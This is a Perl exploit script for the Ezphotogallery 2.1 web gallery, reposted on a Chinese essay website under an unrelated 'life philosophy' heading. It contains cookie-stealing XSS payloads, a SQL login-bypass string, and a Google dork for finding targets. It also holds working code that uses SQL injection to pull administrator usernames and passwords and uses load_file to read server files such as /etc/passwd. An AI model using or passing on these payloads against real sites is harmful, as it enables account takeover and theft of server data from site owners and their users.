首页 爱情文章 亲情文章 友情文章 生活随笔 校园文章 经典文章 人生哲理 励志文章 搞笑文章 心情日记
  • 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
    •
    当前位置: 山茶花美文网 > 人生哲理 > 正文

    Easy,Photo,Gallery,2.1,XSS/FD/Bypass/SQL,Injection,Exploit_EasyPoser

    时间：2020-02-18来源：山茶花美文网 本文已影响 人 山茶花美文网手机站

    #!/usr/bin/perl

    #----------------------------------------------------------------

    #

    #Script : Ezphotogallery 2.1

    #

    #Type : Multiple Vulnerabilities ( Xss/Login Bypass/Sql injection Exploit/File Disclosure)

    #

    #Method : GET

    #

    #Alert : High

    #

    #Google Dork : "100% | 50% | 25%" "Back to gallery" inurl:"show.php?imageid="

    #

    #----------------------------------------------------------------

    #

    #Discovered by : Khashayar Fereidani a.k.a. Dr.Crash

    #

    #My Official Website : HTTP://FEREIDANI.IR

    #

    #Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t] com

    #

    #----------------------------------------------------------------

    #

    #Khashayar Fereidani Official Website : HTTP://FEREIDANI.IR

    #

    #----------------------------------------------------------------

    #

    #Script Download : http://heanet.dl.sourceforge.net/sourceforge/ezphotogallery/ezphotogallery-2.1.zip

    #

    #----------------------------------------------------------------

    #Xss Vulnerabilities :

    #

    #Xss 1 : gallery.php?galleryid=<script>alert(document.cookie)</script>

    #Xss 2 : show.php?imageid=156&size="""<?>>""""<script>alert(document.cookie)</script>

    #Xss 3 : show.php?imageid=<script>alert(document.cookie)</script>

    #

    #----------------------------------------------------------------

    #Login Bypass :

    #

    #Insert in gallery.php

    #

    #User : admin " or " 1=1

    #Password : Dr.Crash

    #

    #----------------------------------------------------------------

    #Sql Injection :

    #

    #Injection 1 : show.php?imageid=<sql>

    #----------------------------------------------------------------

    #

    # Tnx : God

    #

    # HTTP://IRCRASH.COM

    #

    #---------------------------------------------------------------- use LWP;

    use HTTP::Request;

    use Getopt::Long;

    $scriptname="Ezphotogallery 2.1"; sub header

    {

    print "

    ****************************************************

    * $scriptname

    ****************************************************

    *Discovered by : Khashayar Fereidani *

    *Exploited by : Khashayar Fereidani *

    *My Official Website : http://fereidani.ir *

    ****************************************************";

    } sub usage

    {

    print "

    * Usage : perl $0 http://Example/

    ****************************************************

    ";

    }

    $url = ($ARGV[0]); if(!$url)

    {

    header();

    usage();

    exit;

    }

    if($url !~ ///){$url = $url."/";}

    if($url !~ /http:///){$url = "http://".$url;}

    sub xpl1()

    {

    #concat(0x4c6f67696e3a,user,0x3c656e64757365723e,0x0d0a50617373776f72643a,password,0x3c656e64706173733e)

    $vul = "/show.php?imageid=999 union select 0,1,2,concat(0x4c6f67696e3a,name,0x3c656e64757365723e,0x0d0a50617373776f72643a,password,0x3c656e64706173733e),4,5,6,7,8,9 from users/*";

    $requestpage = $url.$vul;

    my $req = HTTP::Request->new("POST",$requestpage);

    $ua = LWP::UserAgent->new;

    $ua->agent( "Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9" );

    #$req->referer($url);

    $req->referer("IRCRASH.COM");

    $req->content_type("application/x-www-form-urlencoded");

    $req->header("content-length" => $contlen);

    $req->content($poststring); $response = $ua->request($req);

    $content = $response->content;

    $header = $response->headers_as_string(); @name = split(/Login:/,$content);

    $name = @name[1];

    @name = split(/<enduser>/,$name);

    $name = @name[0]; @password = split(/Password:/,$content);

    $password = @password[1];

    @password = split(/<endpass>/,$password);

    $password = @password[0]; if(!$name && !$password)

    {

    print "nn";

    print "!Exploit failed ! :(nn";

    exit;

    } print "n Username: ".$name."nn";

    print " Password: " .$password."nn";

    }

    #XPL2 sub xpl2()

    {

    print "n Example For File Address : /home/user/public_html/config.phpn Or /etc/passwd";

    print "n Enter File Address :";

    $fil3 = <stdin>; $vul = "/show.php?imageid=999 union select 0,1,2,concat(0x4c6f67696e3a,load_file("$fil3"),0x3c656e64757365723e),4,5,6,7,8,9 from users/*";

    $requestpage = $url.$vul; my $req = HTTP::Request->new("POST",$requestpage);

    $ua = LWP::UserAgent->new;

    $ua->agent( "Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9" );

    #$req->referer($url);

    $req->referer("IRCRASH.COM");

    $req->content_type("application/x-www-form-urlencoded");

    $req->header("content-length" => $contlen);

    $req->content($poststring); $response = $ua->request($req);

    $content = $response->content;

    $header = $response->headers_as_string();

    @name = split(/Login:/,$content);

    $name = @name[1];

    @name = split(/<enduser>/,$name);

    $name = @name[0];

    if(!$name && !$password)

    {

    print "nn";

    print "!Exploit failed ! :(nn";

    exit;

    } open (FILE, ">".source.".txt");

    print FILE $name;

    close (FILE);

    print " File Save In source.txtn";

    print ""; } #XPL2 END

    #Starting;

    print "

    ****************************************************

    * $scriptname

    ****************************************************

    *Discovered by : Khashayar Fereidani *

    *Exploited by : Khashayar Fereidani *

    *My Official Website : http://fereidani.ir *

    ****************************************************

    * Mod Options : *

    * Mod 1 : Find Script username and password *

    * Mod 2 : File Disclosure mode *

    ****************************************************";

    print "n n Enter Mod : ";

    $mod=<stdin>;

    if ($mod=="1" or $mod=="2") { print "n Exploiting .............. n"; } else { print "n Unknown Mod ! n Exploit Failed !"; };

    if ($mod=="1") { xpl1(); };

    if ($mod=="2") { xpl2(); };

    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全

    最新文章

    热点文章

    推荐访问

    军训远足心得体会 军训爬山心得体会 大学军训徒步拉练感想 军训徒步作文 军训徒步10公里感想 军训徒步心得体会 5分钟演讲中秋节节日 中秋一分钟演讲 中秋节演讲稿4分钟 中秋节演讲稿一分钟 中秋节演讲稿五分钟 3-5分钟 中秋节短篇演讲稿 中秋节演讲稿两分钟 中秋节的演讲稿3分钟 关于中秋节的演讲稿三分钟 孩子体验军训的心得 参加孩子军训活动的感受与收获 家长对孩子军训后的收获和感悟 小孩军训的收获与感悟 学生军训的收获与感悟 孩子军训成长过程家长感悟 孩子军训感悟 孩子军训心得体会 孩子军训的收获与感悟 兵役前训练心得体会 部队当兵的心得 新兵役前教育训练心得体会 预备役军训心得体会 新兵军训感悟

    本文Easy,Photo,Gallery,2.1,XSS/FD/Bypass/SQL,Injection,Exploit_EasyPoser由山茶花美文网整理提供，版权归原作者、原出处所有。

    Copyright © 山茶花美文网 All Rights Reserved.